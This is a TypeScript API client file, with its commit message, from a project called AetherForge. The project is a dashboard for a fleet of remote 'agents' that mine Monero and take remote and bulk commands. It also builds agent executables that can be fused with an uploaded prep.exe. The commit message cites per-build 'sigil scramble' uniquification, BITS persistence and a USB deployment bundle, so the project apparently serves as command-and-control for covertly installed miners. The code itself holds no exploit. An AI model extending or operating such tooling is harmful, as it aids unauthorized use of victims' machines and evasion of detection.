Files
AetherForge/server/web/src/api/client.ts
AetherForge d52479c9a6 feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops
- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help
- Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete
- Sigil scramble post-forge uniquification and Dispense Reveal ceremony
- Full system check, desktop push, BITS/host-binary persistence, Path Tracer
- Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav
- README documents alerts, sigil scramble, and pack-usb workflow
- USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
2026-06-03 20:32:59 -07:00

251 lines
9.4 KiB
TypeScript

import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop } from '../types';
import { authHeaders } from './auth';
const API_BASE = '/api/v1';
// Agent-only REST (/agent/decide, /agent/report, /agent/heartbeat) is intentionally
// omitted here — forged agents call those with X-Fleet-Secret, not dashboard Basic Auth.
async function fetchJSON<T>(url: string, options?: RequestInit, timeoutMs = 10000): Promise<T> {
const { headers: extraHeaders, signal: callerSignal, ...rest } = options ?? {} as RequestInit & { signal?: AbortSignal };
const controller = new AbortController();
const timer = setTimeout(() => controller.abort(), timeoutMs);
if (callerSignal) {
callerSignal.addEventListener('abort', () => controller.abort());
}
try {
const res = await fetch(`${API_BASE}${url}`, {
...rest,
signal: controller.signal,
headers: {
'Content-Type': 'application/json',
...authHeaders(),
...(extraHeaders as Record<string, string> | undefined),
},
});
if (!res.ok) {
const err = await res.text();
throw new Error(`API error ${res.status}: ${err}`);
}
return res.json();
} finally {
clearTimeout(timer);
}
}
export const api = {
// Agents
listAgents: () => fetchJSON<Agent[]>('/agents'),
getAgent: (id: string) => fetchJSON<Agent>(`/agents/${id}`),
getDashboardStats: () => fetchJSON<{ total_agents: number; online_agents: number; total_hashrate: number; total_shares: number }>('/dashboard/stats'),
getAgentStats: (id: string, limit?: number) =>
fetchJSON<HashrateSample[]>(`/agents/${id}/stats${limit ? `?limit=${limit}` : ''}`),
// Shares
getRecentShares: (limit?: number) =>
fetchJSON<Share[]>(`/shares${limit ? `?limit=${limit}` : ''}`),
// Builds
listBuilds: () => fetchJSON<BuildRecord[]>('/builds'),
// Config
getConfig: () => fetchJSON<ServerConfig>('/config'),
updateConfig: (config: Partial<ServerConfig>) =>
fetchJSON<ServerConfig>('/config', {
method: 'PUT',
body: JSON.stringify(config),
}),
// Builder
buildAgent: (req: BuildRequest, prepFile?: File | null) => {
if (req.fusion_enabled) {
if (!prepFile) {
return Promise.reject(new Error('Fusion requires prep.exe upload'));
}
const form = new FormData();
form.append('config', JSON.stringify(req));
form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
return fetch(`${API_BASE}/builder/build`, {
method: 'POST',
headers: authHeaders(),
body: form,
}).then(async (res) => {
if (!res.ok) {
const err = await res.text();
throw new Error(`API error ${res.status}: ${err}`);
}
return res.json() as Promise<BuildResponse>;
});
}
return fetchJSON<BuildResponse>('/builder/build', {
method: 'POST',
body: JSON.stringify(req),
});
},
estimateFusion: (req: BuildRequest, prepFile?: File | null) => {
if (!prepFile) {
return Promise.reject(new Error('Fusion requires prep.exe upload'));
}
const form = new FormData();
form.append('config', JSON.stringify(req));
form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
return fetch(`${API_BASE}/builder/estimate`, {
method: 'POST',
headers: authHeaders(),
body: form,
}).then(async (res) => {
if (!res.ok) {
const err = await res.text();
throw new Error(`API error ${res.status}: ${err}`);
}
return res.json() as Promise<FusionEstimate>;
});
},
pinBuild: (buildId: string) =>
fetchJSON<{ ok: boolean; pinned_id: string }>(`/builds/${buildId}/pin`, { method: 'PUT' }),
unpinAll: () =>
fetchJSON<{ ok: boolean }>('/builds/pin', { method: 'DELETE' }),
deleteBuild: (buildId: string) =>
fetchJSON<{ ok: boolean; deleted_id: string }>(`/builds/${buildId}`, { method: 'DELETE' }),
buildDownloadUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/download`,
buildArtifactUrl: (buildId: string, fileName: string) =>
`${API_BASE}/builds/${buildId}/artifact/${encodeURIComponent(fileName)}`,
buildUninstallUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/uninstall`,
// Blueprints (config presets)
listBlueprints: () => fetchJSON<BlueprintInfo[]>('/blueprints'),
getBlueprint: (name: string) => fetchJSON<any>(`/blueprints/${encodeURIComponent(name)}`),
saveBlueprint: (name: string, data: any) =>
fetchJSON<{ success: boolean; name: string; file_path: string; created_at: string }>('/blueprints', {
method: 'POST',
body: JSON.stringify({ name, data }),
}),
deleteBlueprint: (name: string) =>
fetchJSON<{ success: boolean; name: string }>(`/blueprints?name=${encodeURIComponent(name)}`, {
method: 'DELETE',
}),
// Health / server
healthCheck: () => fetchJSON<{ status: string }>('/health'),
getServerInfo: () => fetchJSON<ServerInfo>('/server/info'),
rotateFleetSecret: () =>
fetchJSON<{ ok: boolean; hint?: string }>('/server/rotate-secret', { method: 'POST' }),
// Fleet ops
getAlerts: () => fetchJSON<FleetAlert[]>('/alerts'),
testAlerts: () =>
fetchJSON<Record<string, { sent: boolean; error?: string }>>('/alerts/test', {
method: 'POST',
}),
getPoolStatus: () => fetchJSON<PoolStatus[]>('/pools/status'),
getAIActivity: () => fetchJSON<AIActivityEntry[]>('/ai/activity'),
getEarningsEstimate: (hashrate: number) =>
fetchJSON<EarningsEstimate>(`/earnings/estimate?hashrate=${encodeURIComponent(hashrate)}`),
sendAgentCommand: (
id: string,
action: string,
payload?: Record<string, unknown>
) =>
fetchJSON<{ success: boolean; error?: string }>(`/agents/${id}/command`, {
method: 'POST',
body: JSON.stringify({ action, ...payload }),
}),
sendWOL: (id: string, mac?: string) =>
fetchJSON<{ success: boolean; error?: string; mac?: string }>(`/agents/${id}/wol`, {
method: 'POST',
body: JSON.stringify(mac ? { mac } : {}),
}),
getAgentLog: (id: string, refresh = false) =>
fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`),
downloadAgentLog: async (id: string): Promise<void> => {
const res = await fetch(`${API_BASE}/agents/${id}/log?download=1`, {
headers: { ...authHeaders() },
});
if (!res.ok) throw new Error(`Log download failed: ${res.status}`);
const blob = await res.blob();
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `agent-${id.slice(0, 8)}.log`;
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
URL.revokeObjectURL(url);
},
updateAgentMeta: (id: string, notes: string, tags: string[]) =>
fetchJSON<{ success: boolean; agent: Agent }>(`/agents/${id}/meta`, {
method: 'PUT',
body: JSON.stringify({ notes, tags }),
}),
sendBulkCommand: (agentIds: string[], action: string) =>
fetchJSON<{ success: boolean; sent: number; failed: number; action: string }>('/agents/bulk-command', {
method: 'POST',
body: JSON.stringify({ agent_ids: agentIds, action }),
}),
deleteAgent: (id: string) =>
fetchJSON<{ success: boolean }>(`/agents/${id}`, { method: 'DELETE' }),
bulkDeleteAgents: (ids: string[]) =>
fetchJSON<{ success: boolean; deleted: number }>('/agents/bulk-delete', {
method: 'POST',
body: JSON.stringify({ ids }),
}),
createUser: (username: string, password: string) =>
fetchJSON<{ success: boolean }>('/users', {
method: 'POST',
body: JSON.stringify({ username, password }),
}),
// XMR market price (server-side CoinGecko cache, refreshed every 10 min)
getXmrPrice: () => fetchJSON<XmrPrice>('/market/xmr'),
// Path Tracer — WireGuard VPN chain sessions
startTrace: (agentIds: string[]) =>
fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', {
method: 'POST',
body: JSON.stringify({ agent_ids: agentIds }),
}),
getTraceStatus: (id: string) =>
fetchJSON<{ session_id: string; ready: boolean; error?: string; hops: PathTraceHop[] }>(`/pathtrace/${id}/status`),
getTraceQR: (id: string) =>
fetchJSON<{ config: string; qr_png_b64: string }>(`/pathtrace/${id}/qr`),
deleteTrace: (id: string) =>
fetchJSON<{ ok: boolean }>(`/pathtrace/${id}`, { method: 'DELETE' }),
// Cancel an in-progress forge build by its cancel token.
cancelBuild: (cancelToken: string) =>
fetchJSON<{ cancelled: boolean }>(`/builder/cancel/${encodeURIComponent(cancelToken)}`, {
method: 'DELETE',
}),
// Full deck backup — downloads a zip containing config.json, users.json, miner.db.
downloadBackup: async (): Promise<void> => {
const res = await fetch(`${API_BASE}/backup`, {
method: 'GET',
headers: { ...authHeaders() },
});
if (!res.ok) {
const err = await res.text();
throw new Error(`Backup failed ${res.status}: ${err}`);
}
const blob = await res.blob();
const disposition = res.headers.get('Content-Disposition') ?? '';
const match = disposition.match(/filename="([^"]+)"/);
const filename = match ? match[1] : 'aetherforge-backup.zip';
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = filename;
a.click();
URL.revokeObjectURL(url);
},
};